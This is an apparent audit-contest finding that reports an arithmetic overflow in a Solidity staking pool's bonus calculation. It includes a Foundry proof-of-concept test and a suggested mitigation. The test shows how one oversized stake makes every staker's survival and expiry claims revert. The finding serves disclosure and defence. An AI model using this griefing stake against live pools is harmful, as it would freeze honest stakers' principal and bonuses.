FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Oversized stake can overflow k=2 accounting and block all successful-outcome claims

Author Revealed upon completion

Root + Impact

ConfidencePool accepts stake amounts that can make the expanded k=2 accounting overflow at claim time. One oversized stake can permanently block all SURVIVED and EXPIRED claims for the pool because every claimant uses the same overflowing global denominator.

Description

The bonus formula is mathematically based on amount * (T - entry)^2, but _bonusShare() evaluates the expanded form over absolute Unix timestamps:

uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;

stake() only proves that each accepted deposit's stored amount * entry * entry contribution fits. It does not prove that a later T * T * stake + entry * entry * stake addition will fit. For entries close to T, both individual terms can fit while their sum overflows.

This is reachable with a standard ERC20 that has a large unit supply. It does not require a malicious token callback or non-standard transfer behavior.

Risk

A staker with a sufficiently large balance of an allowlisted token can grief the pool by making successful-outcome claims revert for every participant. Honest stakers cannot recover principal or bonus through claimSurvived() or claimExpired() because the global score calculation includes the oversized stake and is executed for every claimant.

Proof of Concept

Place this file at test/unit/ConfidencePoolOversizedStakePoC.t.sol and run:

forge test --match-path 'test/unit/ConfidencePoolOversizedStakePoC.t.sol' -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolOversizedStakePoC is BaseConfidencePoolTest {
function testOversizedStakeBlocksAllSurvivedClaims() external {
uint256 entry = vm.getBlockTimestamp();
uint256 T = entry + 31 days;
// Each individual amount * timestamp^2 term fits, but their later sum in _bonusShare()
// overflows: T*T*stake + entry*entry*stake > type(uint256).max.
uint256 oversized = type(uint256).max / (T * T + entry * entry) + 1;
_stake(alice, 100 * ONE);
_stake(bob, oversized);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, 50 * ONE);
vm.warp(T);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert();
pool.claimSurvived();
vm.prank(bob);
vm.expectRevert();
pool.claimSurvived();
}
}

Both claims revert on the vulnerable implementation. Alice's normal-sized claim fails because _bonusShare() computes the global denominator from snapshotTotalStaked and snapshotSumStakeTimeSq, which include Bob's oversized stake.

Recommended Mitigation

Avoid expanding the score over absolute Unix timestamps. Store and compute the k=2 sums using bounded deltas from riskWindowStart, so intermediate values scale with the pool's risk-window duration rather than with block.timestamp.

Alternatively, enforce a maximum per-stake or total-eligible-stake bound that proves every _bonusShare() intermediate fits for the largest possible T.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!